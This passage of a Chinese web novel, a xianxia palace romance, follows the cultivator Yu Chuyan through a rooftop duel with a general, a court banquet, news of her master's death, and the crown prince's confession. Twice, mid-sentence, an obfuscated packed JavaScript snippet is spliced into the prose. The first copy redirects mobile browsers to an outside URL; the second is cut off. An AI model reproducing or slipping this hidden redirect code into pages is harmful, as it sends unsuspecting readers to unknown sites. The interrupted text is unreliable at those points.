宫中道路上的积雪时时有人清除,屋顶上却无人扫。 余初晏经过时,衣角扫落碎雪,此番动静惊动了宫道上行走的红衣武将。 那武将惊疑青天白日里,宫中怎么会有刺客,来不及多想,已经握刀追了上去。 徒留引路太监在其身后呼喊,声音散落在风中,叫人无法听清。 余初晏停下,想起皇帝似乎已经搬离安仁宫,这会应该在紫宸宫,她站在屋顶翘脚处,辨认方位。 身后一直有团深蓝色气运跟随着她,余初晏并未在意,宫中常有各色各式的人来来往往,说不定只是顺路。 话虽如此,那团气运接近速度过于迅速,余初晏骤然回头,凌厉的刀光混杂着杀意近在咫尺。 刀尖立于她喉间,再接近不得半分。 红衣男子见刺客竟是名女子,且仅用两根手指便夹住剑锋,眼中错愕一闪而过,进而眉心下压,凝重之色尽显。 手中长刀进不得也退不得,他左手反手抽出腰间另一把刀,朝着余初晏腰间横劈而去。 余初晏指尖发力,精钢铸成的刀身断裂一截,腰间那把刀划开她的衣袍,却入不得半分肉身。 忽而矮身,手中以脊兽为支点,双腿狠狠蹬向那人腰腹。 男子持双剑挡下这一击,仍然被被巨力逼得退后几步,方才稳住身形。 而余初晏已经借力跃到另一座宫殿顶上。 红衣男子手臂被震得发麻,手中一把刀已经崩裂无法再使用,他心中惊骇,不知澧都中何时出现此等高手,扬声追问:“阁下是何人?来皇宫有何目的?” 余初晏莫名其妙,她横行宫中数日,何时见过这种上来就动手的莽夫,嘴一撇,“问别人前不知自报家门吗?你管我做什么?” 那人却是不答,似乎真将她当做刺客,看他穿着红色翻领官服,胸口处印着国印麒麟祥纹,应是朝中某个武官。 能在宫中佩刀,官职也不算小,身上还沾染血腥与硝烟气,多半久经沙场,且战功赫赫。 余初晏无心恋战,横竖这人也打不过她,转身就朝紫宸宫而去。 谁知那人紧追不舍,越是靠近紫宸宫,攻击俞发凌厉,嘴中叫嚣着断不会让她接近圣上。 余初晏都快气笑了,脑子鲁莽就算了,眼睛还不好使,哪有刺客穿成她这样,还如此光明正大。 两人的动静引来了附近巡查的禁卫军,认出两人身份后,想要阻止她们打斗,尝试靠近无果,只能在周身喊着什么。 听他们称男子为“侯爷”,语气里藏不住尊敬之意,余初晏暗道麻烦,再次徒手接住男子的刀后,她发力,将仅剩的这一把也折断。 没了武器,看他还如此纠缠不放。 哪知他眼中战意丝毫未减,反而更盛,竟是名武痴。 一路追到紫宸宫,没有武器的他,出拳更快也更有力,每一击都带着劲风。 避开他全力一拳,“哗啦”一声,屋顶都被他凿出深坑,瓦砾飞溅。 余初晏不想再纠缠下去,掌心一番,青渊剑已经横在她面前。 侯爷认出了古朴的剑鞘,瞳孔因错愕而放大。 他再一眨眼,出鞘的长剑裹着凛然的风雪,迅猛的剑意压得他动弹不得,只能眼睁睁看着长剑径直劈向脖颈。 那一瞬他感受到了死亡的气息。 “小仙大人!剑下留人啊!”汪朝顺姗姗来迟,正巧瞧见余初晏那决绝的一剑。 身旁的宫人们不忍直视,闭上眼去。 只有汪朝顺声嘶力竭地吼叫着,禁卫想要阻拦也来不及,却还是奔向两人。 青渊剑刺破皮肤,堪堪停下,风雪也随之骤停,又猛烈朝着四周飞扬而去。 “你该庆幸我答应了陛下,不会用青渊剑杀死青渊国人。”余初晏冷冷道。 “何事如此喧闹?”明黄色的身影出现在雪地之中,顺着众人的视线,看见了屋顶的一幕。 青渊帝与众人一同陷入了沉默,似乎在试图理解眼前的一切。 余初晏将青渊剑收回鞘中,从屋顶一跃而下,面无表情地与皇帝打招呼,“陛下,用过午膳了吗?” 周围人方如梦初醒般,纷纷跪下向皇帝请安。 红衣男随手抹去颈间的鲜血,从屋顶跳下时,还踉跄了一下,随即半跪于皇帝身前,“末将贺鸣,见过圣上。” 青渊帝负手,也未开口让任何人起身,沉着脸问:“怎么回事?” 余初晏站在一旁,撇脸避开皇帝的视线,全然没有回答的打算。 贺鸣喉间干涩,头也埋得更低了些,整理一番措辞,答:“末将误以为这位大人是别有居心的刺客,倾力阻拦却……” “却被压着打?”青渊帝补上了他未尽之语。 贺鸣不语,只是一味请罪。 青渊帝头开始疼,他原想介绍余初晏与贺鸣认识,这下好了,两人直接结了仇。 “阿晏,这般……”目光转向身旁。 余初晏控诉:“他方才已经知晓我不是刺客了,分明就是打上头,拿我练手。” 众人的视线又落回贺鸣身上,青渊帝问:“可有此事?” “确实如此。”贺鸣坦荡承认,途中他从禁卫军的态度,猜出是他弄错了,眼前女子应当身份尊贵。 但他许久没遇到如此强大的对手,按捺不住战意,最终发展至此。 脑中还在因那死亡瞬间而颤栗,眼里却闪烁着兴奋的光芒。 青渊帝简直没眼看,轻咳一声,“定边侯袭击太子妃,按令当罚,念其初犯,又事出有因,罚俸一年,军棍二十,即刻执行。” 转头复问余初晏,“阿晏可有不满?” “陛下做主便是。”余初晏抱着胸,百无聊赖地站在一旁,抬头观察重新刻印过的雕花。 贺鸣躬身领罚,众人此时才得免礼站起。 青渊帝今日召见贺鸣,本是商议晚宴接风洗尘一事,年末各省要官归京陛见。 贺家军三年一归,今年本未到年岁,但因之前皇帝病危,怕京中生变,才紧急将其召回。 如今事情解决,贺家军却是不能不设宴招待。 青渊帝出声留下贺鸣,只道之后再去领罚,见余初晏不甚在意,君臣两人才步入殿内。 余初晏又在紫宸宫转了一圈,谨慎确认过所有的雕花已经重新刻印过,且与她所绘一分不差,才放下心来。 汪朝顺见状,忙告知这些都是钦天监仔细监督着工匠做工,不敢有一丝怠慢。 看陛下的意思,大有让钦天监一众跟随余初晏学习之意,哪怕不行,得个一言半语的指导也好。 作为陛下最衷心之人,汪朝顺不放过任何一个在余初晏面前为钦天监说好话的机会。 “早年国师在时,钦天监向来唯其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569247|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马首是瞻,如今小仙来此,钦天监众人合该与您熟悉一番。” 钦天监?余初晏只记得那日的大柿子,不感兴趣地随口敷衍两声。 招招手,让值守的暗卫下来,让其将灵石布于四个方位,简单地给青渊帝做了个防护阵。 “那日纵火之人可有抓到?”她顺嘴一问。 汪朝顺面露难色,左右张望一番,才覆到余初晏耳边,小声道:“死了,活活烧死了。” 被发现起火时,那人还活着,皇城司的人用尽一切手段,也无法阻止那火,最终眼睁睁见他烧成灰,诡异至极。 余初晏问其身份,却只是一个再普通不过的小太监,身世背景清晰,据查,生病的宫女中有他的对食。 “皇城司去他的籍贯处查家属了,要不了多久便有消息回来。”汪朝顺忧心忡忡,“小仙大人,你说这宫中可还有暗怀鬼胎之人?如此手段防不胜防啊!” 余初晏哪能不知他的小心思,直道回头会替陛下做些防身的符箓。 汪朝顺喜笑颜开,嘴上恭维词不停,恨不得将余初晏夸上天。 等贺鸣走了,余初晏才进殿内。 破阵之后,青渊帝还是首次见到余初晏,此前她一直待在东宫不愿见客,青渊帝只得将一箱又一箱的赏赐抬到东宫,也不知余初晏是否喜欢。 今日一见,虽说之前出了点小乱子,好说事情已经解决。青渊帝便让余初晏赶紧就座,惯例关心她的身体,明里暗里询问当日破阵的情形。 那日情形皇城司司使事后大致禀告过,但因万鬼嚎哭,众人退至一里外后,余初晏又是如何化险为夷,他不得而知。 那道撼天震地的惊雷为何会劈下,方圆百步内所有物品灰飞烟灭,余初晏又是如何活下来,并且毫发无伤的,青渊帝既好奇,又生出几分忌惮。 多疑是每个皇帝的通病,青渊帝无法保证余初晏效忠于他,心中总会不踏实。 听闻连着几日,她与太子如胶似漆,也暗自有了考量。 “陛下可知天道。”余初晏面前摆了不少瓜果点心,都是特意为她准备的,可惜她这些日子没什么食欲,随意吃了两口。 世间,必有其规则,是为天道。 青渊帝沉思,不知余初晏为何问此。 “陛下身为皇帝,享万民朝拜,居至尊之位,削平天地,大拯生人[1]。天道感怀陛下为恶人磋磨,特来祝我一臂之力——那道雷,便是如此。” 话毕,殿中安静了一瞬,汪朝顺忽而大拜于地,口中高呼:“於赫我皇,朝宗百神[2],天地动容,盛世长存!” 一呼百应,殿内齐刷刷跪了一地。 余初晏怔愣,手中捏着的糕点放下也不是,继续吃也不是。 心中暗忖,难怪汪朝顺能一直在皇帝身边效忠,至少在拍马屁这方面,修真者绝对放不下身段,也远不及他。 因着她无意间流露的溢美之词和汪朝顺那一大拜,将青渊帝哄得龙心大悦,之前那点猜忌都抛之脑后。 又是一众赏赐涌入东宫,余初晏古井无波,待了小会,不打扰皇帝处理公务,自行离去。 心中思量着明日的宴会——方才皇帝告知她,将于明日宴会之上将她的身份公之于百官。 原本她还计划离开青渊,这般下去,计划又要无限搁浅了。 “阿晏!阿晏!”赵景泽的步辇又专程等候在她必经之地,余初晏犹豫片刻,还是登上了步辇。 “下雪天就知你不会打伞,特来接你回东宫。” 怀中被太子塞进一物,热意从手中传来,是捧铜制手炉。 赵景泽还记挂着几个时辰前,余初晏话语中的不准跟随,他垂着眼,鼻翼冻得发红,唇角翕动,“阿晏可会嫌我烦?” 温热的手摸了摸赵景泽的脸,冰凉一片,余初晏捂半天才给他捂出些血色。 太子一动不动,任由她捧着脸,余初晏这时才看清他的眼睛是浅浅的琥珀色,像是玉虚山间乱窜的野狸,讨吃的时便会用琥珀珠子般的眼睛无辜又渴求地望来。 余初晏拨弄他的睫毛也不恼,虚虚地握着她的手腕,唇边带笑,不像野狸吃饱了就会挠人。 她心下叹息,搁浅就搁浅罢,紫宸之气还未吸收够,上哪找赵景泽这么粘人的小龙崽。 17. 宫宴 今日雪停,是难得的天晴日。 说是晚宴,实际从下午起陆陆续续便有官员及家属入宫。 宴席分两面,一面是众官员,由陛下与太子主持,另一面则是女眷,主要由皇后招待,余初晏走个过场。 少府监送来新制的宫装,重新测量过尺码,足足有十余件。 除了祭祖必须的翟衣与少量礼服,更多的是轻便的常服,款式各异。 “宋嬷嬷道晚间宴席不是大宴,不必穿得那么正式。”素兰替她选衣, “奴婢今晨瞧着太子穿的深蓝色,不如您也穿这件深蓝色鞠衣。” “随意。”余初晏兴致缺缺,眼神都欠奉,闭着眼任由宫女们在她脸上头上折腾。 围着她的小宫女都是皇后派来的,早早地侯在听荷殿外。 余初晏甫一摆出拒绝的态度,领头的宫女立刻泫然欲泣,僵持半响,最终余初晏拜下阵来。 等素兰从宋嬷嬷身边回来,余初晏已经焚香沐浴完,生无可恋坐在妆镜前。 哪怕小宫女们七嘴八舌调笑她也不恼不搭话,由着她们放肆。 “奴婢今日还见着春桃了,她被分去外廷做扫洒宫女。”素兰又道,“她还请奴婢感谢您救命之恩,虽然想亲自向您道歉。” 余初晏已经知道了,那日缠上她的因果线,只有春桃那一缕化作了纯粹的信仰之力,其他都于雷霆中彻底消散。 宫中信仰之力太少,于她而言可有可无,所以春桃也很快被她抛到脑后,若非素兰提起,她都不记得有这么个人。 好歹是让她找到阵眼的帮手,余初晏随口关心了几句。 素兰高兴道会将她的关心转达给春桃。 余初晏瞥她,素兰总是一点小事就能开心半天,小孩子心性。 - 酉时才开宴,还有一个多时辰,余初晏终于从宫女们的魔爪下逃脱,趁宫人不备独自一人溜到御花园。 素兰被宋嬷嬷请去帮忙,这些日子她都跟在宋嬷嬷身边,因着余初晏不想管琐事,她才加倍努力学。 余初晏也知她疲惫,鲜少让她在跟前伺候,横竖她也不怎么需要,万事有法诀。 御花园积雪未曾清理,枯败的花枝掩在层层白雪之下,唯有几枝腊梅开得正盛。 湖面上结了浅浅一层冰,锦鲤于冰下轻游。 余初晏站在湖边,怔怔出神,实则呼吸吐纳,未炼化的紫气涤荡经脉,汇入丹田之中。 此时的宫人基本集中于两仪殿,御花园鲜少有人走动。 白雪皑皑,四周静谧无声,耳边唯有灵力涌动之声。 忽然余初晏猛地回头,步摇因此撞得泠泠作响。 神识飞速探出,遍布御花园,什么都未曾探查到。 但她分明感受到一股窥视的目光,带着粘稠的恶意,虽然仅有一瞬间,但她的感知绝无可能出错。 无法安心,余初晏手一翻,几只纸鹤朝着四面扑腾飞去,想要找寻到目光的来源。 可惜皇宫中探寻一圈,仍然未有收获,余初晏抿唇沉思,修炼只得作罢,不死心地又用神识在四周仔细搜寻。 少倾,她又想通了,敌人像阴沟里的老鼠,只敢藏在暗处,她何需疑神疑鬼,倒乱了自己的生活,等对方出手她在见招拆招。 等她逮到这只老鼠,定要剜了他的眼睛。 数十里外的高楼中,一道铜镜于镜中人回首的同时,骤然破碎。镜主一惊,迅速将镜面倒扣。 原以为不过是名初生牛犊不怕虎的黄毛丫头,不曾想道行如此高深。 正面对上未必讨得到好,那就让他看看此人还有什么手段,可能护住这青渊国的龙脉—— - 两仪殿外,往来宫人众多,余初晏不知自己该坐于何处,便待在屋顶之上,打算等着皇后一同入宴。 还不忘捏了个隐身诀,以免被人瞧见,又被误会成刺客。 皇后未见到,倒是先看见出来透气的李晓蓉。 一个闪身来到她身后,拍了拍她的肩,吓得李晓蓉小声惊呼。 “阿晏,你怎地在此?没与皇后娘娘一同吗?” 余初晏不语,拉她来到古树后,借由粗壮的树身,挡去二人的身形,也挡去了寒风。 “皇后娘娘还未到,我再等会,倒是你,进去了怎么还跑出来吹风?” 边说着,边查看李晓蓉身上的伤,用过她留的药,已经好全了,且并未留下疤痕。 李晓蓉垂眼叹息,她实在架不住众夫人的询问,才找了个借口跑出来,“她们虽知晓太子妃不是我,却不知具体是何人、出身如何,正拉着娘亲问东问西……” 皇后早些日子便放出了传闻,众人略有耳闻,却不知实际。 加之林氏避不见客,李太傅又打马虎眼,直到今日逮着当事者,自当细细询问一番。 见李晓蓉不愿多说,余初晏转移话题,“那日你与夫人吵架,最后如何了?” 算算时间也过去了一周,这周她实在太忙,一直未抽出时间去李府探望。 李晓蓉终是露出一抹笑意,“我在绣坊待得很开心,旁人都夸我绣工好。” 她身体不好,自幼除了读写便是做绣,画工又好,这么多年也琢磨出自己一套绣技。 入了绣坊后,掌柜先是让她随意绣一幅,起初并未将她放在眼中,只当是大小姐来体验生活,哪知等李晓蓉绣好后,掌柜如获至宝,直道上天赏饭吃。 等晚间李太傅下值,赶到绣庄想将李晓蓉带回家,她却是无论如何都不肯,执意要做出一番功绩给母亲看。 足足待了三日,才因为过于想念林氏,归家一趟。 林氏一直暗中关注着女儿,瞧着她真有天赋,哪怕再有不满,在李晓蓉一番撒娇示弱下,终究还是同意她常在绣庄做工。 相看人家之事也暂时搁浅,只等李晓蓉再大些,再做打算。 至于旁人闲言碎语又如何,为父母,为子计深远,林氏打定主意若女儿真要折腾,分间绣庄给她也无妨,好过她天天想着独自一人去外头。 “爹娘都松了口,说是随我,只是大哥那边……” 提到李熹丛,她愁眉不展,素来疼爱她的兄长,竟是隐隐埋怨于她。 “李熹丛啊。”余初晏摸摸下巴,倒是好久没见这位好大哥了,多半是被皇帝或太傅敲打了一番,再不敢来她面前晃悠。 她观李熹丛眼如三角,鼻梁高而薄,寡情寡意的面相,渴求权势,怕是不甘居于翰林院中。 若李晓蓉嫁入东宫,太子继位后,他贵为国舅,权力唾手可及。 可惜被余初晏横插一脚,还因在皇帝面前搬弄是非,失了帝心,恨上余初晏还有迹可循,埋怨上李晓蓉却是真映衬他那薄情寡义的面相。 也不知太傅与夫人是如何将子女养出两种全然不同的性子来的。 余初晏安慰她,“不用将你兄长放在心上,只当他念书把脑子念坏了。” 李晓蓉扑哧一笑,拉起余初晏的手,“阿晏,若非有你,我这辈子都未必寻得到自己的出路!我是真心喜欢刺绣,迟早会成为京中第一绣娘,所有人排着队请我制衣!” 她说得真诚,也不复之前那般郁郁,应该是真想通了,余初晏反握住她的手,“我很期待。” “等到时候,我天天给阿晏制衣,羡慕死别人!”李晓蓉目含憧憬,两人又笑做一团。 不远处传来林氏的呼喊,李晓蓉回头应了声,念念不舍拉着余初晏不放,“阿晏,看你在宫中过得好我就放心了。娘亲喊我,我走了!一会席上见。” 余初晏也扬起唇角,与她挥别,“席上见。” - 再有不到一炷香便要开宴了,帝后仪仗近在殿外,太子早已入席。 余初晏拐个身,便出现在帝后仪仗不远处。 帝后随行的侍卫似乎早已习惯她的神出鬼没,还让开些道路,方便帝后一眼瞧见她。 “阿晏。”皇后招招手,“本宫还派人寻你半天,你怎么自己先行跑来了。” 宋瑛今日穿着正红色鞠衣,形制与余初晏无二,像是特意穿成这般。 两位小殿下同是一身红色夹袄,扎着总角,跟在皇后身旁,见到余初晏,乖乖唤皇嫂。 宋瑛替上前来的余初晏正了正步摇,整理一番衣领,“下回去殿内等着,在外头等着做什么,太子也是拧不清,这种时候怎么不等你一起?” 余初晏算是知道赵景泽的唠叨像谁,“我不知皇后娘娘几时到,便等在外头。” 宋瑛嗔怒,“说过多少次了,唤母后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“太子妃常年与国师居于山间,近日才入宫来,宫中的规矩多有不熟,若不慎惊扰了诸位夫人,还请多担待些。” 宋瑛端得是为太子妃着想的慈母模样,话语中却透露出种种讯息。 底下命妇心思各异,脸上扬起笑容,连声恭维皇后与余初晏。 李家义女,与国师关系匪浅,帝后认同,想来这太子妃身份不简单,此前却是半点风声未曾走漏,李家的嘴可真真是严。 等到正式开席时,明显感觉众夫人与林氏关系亲昵了不少,李家尚有一子一女,又与太子妃沾亲带故的,再好不过的姻亲人选。 至于打听余初晏之事的,林氏还是一律挡了。 赵堇淳边用餐,边给余初晏介绍,“那是皇婶,她家住在闽州,父皇说她家替百姓守着海岸线。” “那是若怡,我的伴读,她爹爹专门审讯违法乱纪之人。” “那是菱儿,她兄长是二皇兄的伴读,母后说她家是什么钱袋子。” 哪怕余初晏不回话,她一个人也说得很开心,遇到不喜欢的人还会跳过去不介绍, 直到她看到熟悉的面容,双眼圆睁,“那是,那是峥表姐!” 若非皇后紧紧盯着她,赵堇淳已经要跳起来挥手将表姐的目光引过来了。 对上皇后似笑非笑的目光,她只得老老实实靠在余初晏身边,“皇嫂,你很喜欢吃这些吗,一直不跟我说话。” 余初晏放下调羹,跟她对视,“你想我和你说什么?” 赵堇淳说不出来,她觉得眼前的漂亮皇嫂和所有人都格格不入,自带一种奇特的气场,将所有人都孤立了。 她想多跟皇嫂说说话,想融进她的气场中,却无门。 手中的调羹被她搅得叮当作响,皇后的目光再次沉沉落在她身上,余初晏也还在等她开口。 赵堇淳眨眨眼,迟疑问:“太子皇兄说你很厉害,那你和大将军比,谁更厉害?” 余初晏一顿,她印象中青渊国将军虽然不多但也不少,也不知道三公主说的是哪位将军。 不管哪位,比较都无意义,毕竟厉害的标准难以定义。 “那是贺家阿吟,她兄长就是顶天盖世的大将军,皇嫂跟他比如何——” 赵堇淳所指的少女,坐在不远处,独自一人埋头大快朵颐。 余初晏:“……那绝对是我更厉害!” 18. 心悦 皇后知晓余初晏与定边侯贺鸣的过节,轻轻一拍赵堇淳后脑,“你自己不好好吃,打扰阿晏做什么,快闭嘴。” 赵堇淳扁着嘴,反手揉揉自己的脑袋,天仙似的皇嫂又不搭理她了。 恰巧此时汤羹也已用完,宫人端上最后的瓜果与茶水,女眷之间互相走动交谈。 她心心念的峥表姐朝她走来,赵堇淳瞬间忘却方才那点小不悦,巴巴迎上去,“峥表姐!表姐好久都未回京中了。” 宋家祖籍吴州,是南方富甲一方的世家贵族,当今皇后出身于此。 宋峥成婚后,离京长居祖宅,年关将至,丈夫进京陛见,她才随之一同入京。 宋峥亲昵一掐赵堇淳鼻尖,走至阶前向皇后行礼。 宋瑛招呼她上台前来,早些年她与陛下无子,又怜宋峥年幼丧母,便一直将侄女养于膝下,太子出生后仍然如此。 直到宋峥成婚后,复回祖宅,与帝后关系却是不见生疏。 去岁成婚,帝后以公主之仪送嫁,十里嫁妆,羡煞京中众人。 姑侄短暂寒暄后,宋峥目光一转。 “姑母,这便是您信中常提及的阿晏?”女子的声音清脆婉转,宛若黄莺出谷,“今日一见,果然名不虚传。” 宋瑛顺势将余初晏也拉到跟前,“阿晏,这位是本宫的侄女,宋峥,你当与太子一般唤一声表姐罢。” 余初晏抬眼,宋家人都有双如出一辙的桃花眼,瞧起人来,万般情意都藏在其中,令人生不出恶感。 她在打量宋峥的同时,对方也在打量她,也不知宋瑛信中做何写她的,眼见着宋峥眼睛越来越亮。 “表姐。”等她干脆地唤一声,宋峥眼中都快迸发光芒了。 随即她眼睛一眨,附在宋瑛耳边,与她窃窃私语。 声音压得极低,语速也很快,余初晏却听得一清二楚。 “姑母,侄女从小就想要这么一个乖巧懂事又年岁相仿的妹妹,您是知道的,不然你让她与我回吴州小居一段时日……听说她还善武,那我不得多跟她比划比划……您怎么不早些告诉我京中有这号人物,侄女肯定天天待在京中,吴州那些世家女可快把侄女搞烦了……” “乖巧懂事”的余初晏:……话多方面也是一脉相传。 宋瑛怕冷落了余初晏,拍拍宋峥的手臂,示意她好好站着。 “阿晏,你……”真与人说上话,宋峥又扭捏,尤其被这双琉璃般的双眸专注地瞧着,她算是知道为何姑母的信中会带着掩饰不住的喜欢。 好半天,她才问出一句:“阿晏你年芳几许?” 宋瑛一愣,才想起自己从来未问过阿晏的年生辰年月。 余初晏瞧着堪堪桃李年岁,但修真者容颜常驻,国师百岁有余,具体年龄无人知晓,外表一看也不过而立。 看姑母神色奇怪,宋峥心想着这不能问吗? 余初晏已经回答:“双十,今春末方满。” 宋瑛松了口气,还好还好,虽说比太子大些许年岁。 宋峥也一脸欣喜,“比我小了一岁,那这声表姐叫得正正好。” 不知两人在雀跃些什么,余初晏明白了李晓蓉的苦恼,被长辈拉着说话时,确实颇有压力。 宋峥对余初晏一见如故,忍不住拉着她说些私密话,左右不过些她平日爱做些什么,以往在玉虚山又做些什么,太子待她如何。 余初晏木着张脸一一回答,身旁的三公主早因无聊跑去和自己伙伴玩耍,余初晏想走又不能走,只盼着有人来救救她。 直到皇后宋瑛忽然问:“国师身体如何,可还在玉虚山之中?” 余初晏微顿,方忆起她好像从未告知过帝后师尊道陨一事,帝后此前也未曾问过。 想来帝后认为修真者长生不老,师尊又实力强大,回玉虚山也不过为了修炼。 未曾想过师尊离开,是预感大限将至,不得不回山中闭关放手一搏。还在最后的岁月里,遇到了余初晏,将她捡回山中养大。 她沉默了良久,才道:“师尊已经仙逝了,故此我才下山来的。” 皇后不可置信地站起身,不慎打翻了桌上的果盘,巨大的动静引得众人纷纷望来。 “姑母。”宋峥小声唤她,宋峥进宫时,国师已经不在青渊国,但承欢皇后膝下多年,或多或少听到过帝后提及国师,怀念之际,两人皆是感激与孺慕。 或许是知晓自己反应过度,吓着了孩子,宋瑛堪堪稳住仪容,没忍住低声问:“是何时?” “两年前。”余初晏神色未变,抽动的手指却暴露她并不如表面般平静。 “竟已过去了这么久。”皇后喃喃,“那阿晏你一个人又是如何过下来的。” “山间万物都有,况且还有师尊留给我的宝贝。”还有至今充盈在她体内,支撑她境界的灵力,师尊未曾离去,只是换了个方式待在她的身边。 所以她一定会完成师尊的遗愿,得道成仙。 皇后以身体不适先行离席,余初晏再迟钝,也猜到应该是因为得知师尊仙逝之故。 宋峥告诉余初晏,皇后刚及笄便嫁给陛下,偌大的后宫唯她一人,母族居于吴州,宫中又传闻陛下选中她看中的不过是她家万贯财产。 独自一人远嫁,被困于宫闱之间,陛下年轻且忙碌,很长一段时日只有国师日夜陪伴于她,教她诸多。 师尊确实是很好的人,余初晏想,至少还有这么多凡人记得她,想必师尊知道后定会很高兴。 李晓蓉来找余初晏,宋峥瞧着两人关系匪浅的模样,便借口自己还有其他事,打发两人去一旁。 “皇后娘娘怎地突然不适?”甫一独处,李晓蓉关切地问,虽是问皇后,担忧的却是余初晏。 余初晏摇摇头,“皇后身体无碍,方才闲聊,提及了她的伤心事。” “刚刚那位……是宋家小姐昭华郡主罢。”李晓蓉偷看宋峥,她正与几位年轻的命妇笑谈。 余初晏不明所以看她动作,“你与宋家表姐有过节?” 李晓蓉嗔她一眼,“哪是与我有过节,京中谁人不知太子殿下喜欢这位昭华郡主。” 所以是与她有过节吗?余初晏摸不着头脑。 “郡主一直养在皇后身边,和太子青梅竹马,两小无猜,去岁成婚,还是太子亲自骑马相送。” 余初晏无动于衷,还能想起另一对青梅竹马,“你与张聿……” 李晓蓉不说了,一把捂着她的嘴,“别提他!” 这个动作有些出格了,李晓蓉讪讪放下手,余初晏并未在意,“宋表姐人还不错。” 至少从面相上来看,心思纯善,家庭美满,是大富大贵命格。 不过李晓蓉也是替她着想,余初晏补充,“我自有分寸。” 晚宴接近尾声,逐渐有人离席,余初晏又与林氏聊了片刻,主要是林氏在关心她,而余初晏附和。 天色渐深,宋峥来向余初晏辞别,邀请她过两日去府上堆雪狮,“阿晏可一定要来,姐妹们都想与你认识一番——李小姐若是得空,也可一起。” 余初晏应允,李晓蓉有些受宠若惊,不想余初晏独自一人前往,也满口应下。 殿中人散得差不多,余初晏送林氏母女离开。 大殿外虽点了灯,却并不明亮,堪堪看清脚下的路。 一群宫人提着灯候在不远处,随时准备为官人们引路,冬夜里寒风阵阵,吹得人双颊生疼。 “今冬倒是比去岁更冷些。”林氏捧着手炉,大氅的系带被吹得翻飞,“阿晏早些回东宫罢,不必再送。” 李晓蓉依偎在母亲身边,殿前还有不少人未散去,她们同样在等待另一殿中还未散场的男人们。 百官三三两两离殿,酒气裹在寒风中拂来,各自与家属汇合后前行,还要再走上一程才能抵达马车停放处。 林氏母女终是等到了太傅父子,太傅躬身朝着余初晏行了一礼。 李熹丛还是那副看她不顺眼的模样,却被太傅逼着一同行礼致歉。 余初晏好心情地示意免礼,换来了李熹丛狠狠一计瞪视。 “阿晏!” 余初晏循声回首,太子甩开身边一众少年人,朝她奔来。 众目睽睽之下,将她抱了个满怀。 嗅着他衣裳上清冽的酒气,她问:“喝酒了?” “嗯,都是他们强灌,不能怪我。”太子额角抵在她肩头,发烫的呼吸打在颈间。 “赵大,你羞不羞?不是你要玩行酒令?我们舍命陪君子。” 此先那群年岁相仿的少年中有人追上来,听语气与太子极为熟稔,说着就要去揪太子后背的衣襟,“别装醉!” 余初晏极快地握住了他的手腕,不让他碰到太子,冷冷开口,“太子身体不适,我先带他回去了。” 那少年被她凛然的目光震慑,僵在原地,黑暗中瞧不清她的模样,只记得那双上挑的凤目。 转头与林氏一家告别,周边仍有不少留着看热闹的女眷们,也不知 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余初晏索性将他们遣散,陪着赵景泽在漆黑的夜晚赏夜雪。 除了夜值的暗卫尽职尽责跟在附近,再无他人。 余初晏拉着赵景泽来到她常散心的承德殿后,此时已近亥时,目之所及尽是黑暗,隐约可见草木模糊的轮廓。 被寒风一吹,赵景泽酒醒了不少。 余初晏拿出一块萤石,幽蓝色光燃起,笼罩在两人身边,照亮了一小片区域。 “吹够风便回去罢。”她说,“让你的人熬点姜汤,喝下再睡。” 赵景泽紧紧握着她的手,垂着头盯着脚下被荧光照亮的雪面,良久,他说:“阿晏,抱歉。” 这是声迟了一个多月的道歉,“大婚之后就将你扔在后殿,抱歉。” 余初晏目视塘面,东宫的池塘较小,湖面上结的冰也更厚,那些扭曲的枯荷冻在冰中,再不能随风动弹。 说实话,余初晏本身不甚在意住在后殿的那一小段时日,她行事自由,无人能拦。 至于其他女子于新婚燕尔之际,被丈夫置之不顾,会不会伤心难受,她更加不在乎。 这声道歉她倒是接下了。 余初晏问:“你今晚就是因此一直闷闷不乐?” 赵景泽听不出她语气中的喜怒,心中惶然,“嗯,还有贺二胡言乱语,说什么京中人皆知我心悦表姐,根本不喜太子妃。” 余初晏今日也听到这一说法,“他说得不对吗?” “当然不是!”赵景泽大声反驳,“我哪里心悦表姐了,都是谣传!我以前就有跟他们解释,他们根本不信,说我是喝多了……” “你确实喝多了。”余初晏一句话堵得赵景泽心梗,好半天都未曾说话。 天寒地冻的,再待下去,小龙崽子就要生病了,余初晏瞧着他酒醒得差不多,便催他回宫休息。 赵景泽不愿,语气哀怨道:“阿晏你一点也不关心我心悦何人吗?” “那你心悦何人?”余初晏顺着他的话头问。 又是长久的沉默,余初晏叹气,“不管你心悦何人,你都该回去休息了,明早我要去见母后,你若是想与我一同,就快些回去。” 说着就要回走,打算先将太子送回寝宫,她再自行回听荷殿。 手臂轻轻一拉,却没拉动人。 转头,赵景泽还立在原地,甚至反过来用力拉住她,不让她离开。 余初晏停下,沉默地回望他,实在不明白今日的小龙崽子是怎么了。 再折腾,她就打晕塞给暗卫不管了。 “我心悦你。”声音细若蚊蚋。 “什么?”余初晏听清了,但没听懂。 赵景泽深吸一口气,终于抬起头,直直与余初晏对视,清俊的眉眼满是认真,“我说,我心悦你,阿晏,不是旁人,不是表姐,就是你,余初晏。” “赵景泽心悦余初晏,你听明白了吗。” 后面这句中气十足,在静谧的夜晚里回响,头顶树枝上的雪都被震得漱漱落下,落至两人发梢。 “扑通”一声,不知是何人忽然栽进水中,冰面破碎在夜间显得格外突兀,伴随着一声:“殿下救我!咕噜咕噜咕噜……” 旖旎气氛全无,余初晏迟疑道:“他不会凫水?” 赵景泽:“……向三!你找死!” 19. 国师府 辰时,天才蒙蒙亮,屋外又飘起了飞雪。 素兰担忧地打开窗望一眼,刺骨寒风扑面,急急忙合上。 穿戴整齐的余初晏正准备出门,她忍不住问:“小姐,您这个时候去凤仪宫?” “嗯,答应了皇后。” 